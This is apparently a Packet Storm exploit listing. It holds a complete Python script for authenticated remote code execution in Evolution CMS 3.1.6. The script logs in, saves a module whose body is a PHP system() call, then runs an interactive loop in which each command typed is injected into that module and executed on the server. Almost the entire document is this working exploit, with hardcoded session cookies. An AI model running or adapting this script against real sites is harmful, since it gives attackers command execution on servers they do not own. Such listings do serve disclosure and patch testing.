Evolution CMS 3.1.6 Remote Code Execution

Evolution CMS version 3.1.6 authenticated remote code execution exploit.
MD5 | 64efd7eabcd6619812539f02dfbb1c8a
# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://evo.im/
# Software Link: https://github.com/evolution-cms/evolution/releases
# Version: 3.1.6
# Category: Webapps
# Tested on: Linux/Windows


# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#     python3 exploit.py -h


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import sys

def main():
  parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
  parser.add_argument('-u', '--host', type=str, required=True)
  parser.add_argument('-l', '--login', type=str, required=True)
  parser.add_argument('-p', '--password', type=str, required=True)
  args = parser.parse_args()
  print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
      "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
  sleep(2)
  exploit(args)

def exploit(args):

  #Check http or https
  if args.host.startswith(('http://', 'https://')):
    print("[?] Check Url...\n")
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    sleep(2)
  else:
    print("\n[?] Check Adress...\n")
    args.host = "http://" + args.host
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    sleep(2)

  # Check Host Status
  try:
    response = requests.get(args.host)
    if response.status_code != 200:
      print("[-] Address not reachable!")
      sleep(2)
      exit(1)

  except requests.ConnectionError as exception:
    print("[-] Address not reachable!")
    sleep(2)
    exit(1)


  # Login and cookie set
  session = requests.session()
  url = args.host + "/manager/?a=0"
  cookies = {
    "mybb[lastvisit]": "1631537273",
    "loginattempts": "1",
    "mybb[lastactive]": "1631537588",
    "mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
    "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
    "KCFINDER_showname": "on",
    "KCFINDER_showsize": "off",
    "KCFINDER_showtime": "off",
    "KCFINDER_order": "name",
    "KCFINDER_orderDesc": "off",
    "KCFINDER_view": "thumbs",
    "KCFINDER_displaySettings": "off",
    "evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
  }

  headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Content-Type": "application/x-www-form-urlencoded;",
    "Accept": "*/*",
    "Origin": args.host,
    "Referer": args.host + "/manager/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
  }

  data = {
    "ajax": "1",
    "username": args.login,
    "password": args.password,
    "rememberme": "1"
  }

  response = session.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
  new_cookie = response.cookies.get("evoq28fzr")
  user_role = response.cookies.get("modx_remember_manager")

  if user_role is None:
    print("[-] Login Failed!\n")
    print("[*]",response.text)
    sleep(2)
    exit(1)
  else:
    print("[+] Login Success!\n")
    sleep(2)
    print("[!] Login User", user_role,"\n")
    sleep(2)


  # User authorization check
  url = args.host + "/manager/index.php"
  cookies = {
    "mybb[lastvisit]": "1631537273",
    "loginattempts": "1",
    "mybb[lastactive]": "1631537588",
    "mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
     "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
     "KCFINDER_showname": "on",
     "KCFINDER_showsize": "off",
     "KCFINDER_showtime": "off",
     "KCFINDER_order": "name",
     "KCFINDER_orderDesc": "off",
     "KCFINDER_view": "thumbs",
     "KCFINDER_displaySettings": "off",
     "webfxtab_modulePane": "0",
     "evoq28fzr": new_cookie,
  }

  headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/manager/index.php?a=108&id=1",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
  }
  data = {
    "a": "109",
    "id": "1",
    "mode": "108",
    "stay": "2",
    "name": "rce",
    "description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
    "categoryid": "1",
    "newcategory": '',
    "icon": '',
    "resourcefile": '',
    "post": "system('whoami');",
    "guid": "8d4669cac3afd1f59d416f11eadf3355",
    "properties": "{}",
    "chkallgroups": "on",
    "save": "Submit"
  }

  response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
  soup = BeautifulSoup(response.text, 'html.parser')

  if soup.find_all("title")[0].text == "My Evolution Site (Evolution CMS Manager Login)":
    print("[!] Unauthorized user\n\n")
    print("User with module creation permissions is required.")
    exit(1)
  elif soup.find_all("p")[0].text == "You don't have enough privileges for this action!":
    print("[!] Unauthorized user\n\n")
    print("User with module creation permissions is required.")
    exit(1)
  else:
    print ("[+] Exploit Done!\n")
    sleep(2)
    pass

  while True:
    cmd = input("$ ")

    # Update Modules
    url = args.host + "/manager/index.php"
    cookies = {
      "mybb[lastvisit]": "1631537273",
      "loginattempts": "1",
      "mybb[lastactive]": "1631537588",
      "mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
       "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
       "KCFINDER_showname": "on",
       "KCFINDER_showsize": "off",
       "KCFINDER_showtime": "off",
       "KCFINDER_order": "name",
       "KCFINDER_orderDesc": "off",
       "KCFINDER_view": "thumbs",
       "KCFINDER_displaySettings": "off",
       "webfxtab_modulePane": "0",
       "evoq28fzr": new_cookie,
    }

    headers = {
      "Cache-Control": "max-age=0",
      "Upgrade-Insecure-Requests": "1",
      "Origin": args.host,
      "Content-Type": "application/x-www-form-urlencoded",
      "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
      "Referer": args.host + "/manager/index.php?a=108&id=1",
      "Accept-Encoding": "gzip, deflate",
      "Accept-Language": "en-US,en;q=0.9",
      "Connection": "close"
    }

    data = {
      "a": "109",
      "id": "1",
      "mode": "108",
      "stay": "2",
      "name": "rce",
      "description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
      "categoryid": "1",
      "newcategory": '',
      "icon": '',
      "resourcefile": '',
      "post": "system('"+cmd+"');",
      "guid": "8d4669cac3afd1f59d416f11eadf3355",
      "properties": "{}",
      "chkallgroups": "on",
      "save": "Submit"
    }

    response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)


    # Run Modules
    url = args.host + "/manager/index.php?id=1&a=112"
    cookies = {
      "mybb[lastvisit]": "1631537273",
      "loginattempts": "1",
      "mybb[lastactive]": "1631537588",
      "mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
      "evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
      "KCFINDER_showname": "on",
      "KCFINDER_showsize": "off",
      "KCFINDER_showtime": "off",
      "KCFINDER_order": "name",
      "KCFINDER_orderDesc": "off",
      "KCFINDER_view": "thumbs",
      "KCFINDER_displaySettings": "off",
      "webfxtab_modulePane": "0",
      "evoq28fzr": new_cookie,
    }

    headers = {
      "Upgrade-Insecure-Requests": "1",
      "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
      "Referer": args.host + "/manager/index.php?a=108&id=1",
      "Accept-Encoding": "gzip, deflate",
      "Accept-Language": "en-US,en;q=0.9",
      "Connection": "close"
    }

    response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
    if response.text == "":
      print(cmd + ": command not found\n")
    else:
      print(response.text)

if __name__ == '__main__':
  main()
Source: packetstormsecurity.com
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Evolution CMS 3.1.6 Remote Code Execution
